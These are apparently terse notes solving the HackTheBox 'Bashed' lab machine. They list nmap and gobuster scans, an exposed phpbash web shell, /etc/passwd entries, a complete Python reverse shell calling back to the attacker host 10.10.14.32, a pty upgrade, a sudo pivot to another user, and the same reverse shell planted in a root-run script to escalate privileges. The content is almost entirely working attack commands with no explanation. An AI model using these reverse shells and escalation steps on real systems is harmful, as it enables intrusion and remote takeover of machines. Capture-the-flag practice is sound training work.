Lin: Bashed

nmap -sC -sV -oA nmapscan 10.10.10.68

gobuster dir -u http://10.10.10.68/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20| tee gobuster

http://10.10.10.68/dev/phpbash.min.php

http://10.10.10.68/dev/phpbash.php

arrexel:x:1000:1000:arrexel,,,:/home/arrexel:/bin/bash
scriptmanager:x:1001:1001:,,,:/home/scriptmanager:/bin/bash

Python reverse shell :

```
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.14.32",7771));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash","-i"]);
```

python -c 'import pty; pty.spawn("/bin/bash"); '

sudo -l

sudo -i -u scriptmanager

nano /scripts/test.py

nano /scripts/test.py
import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.32",7771));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);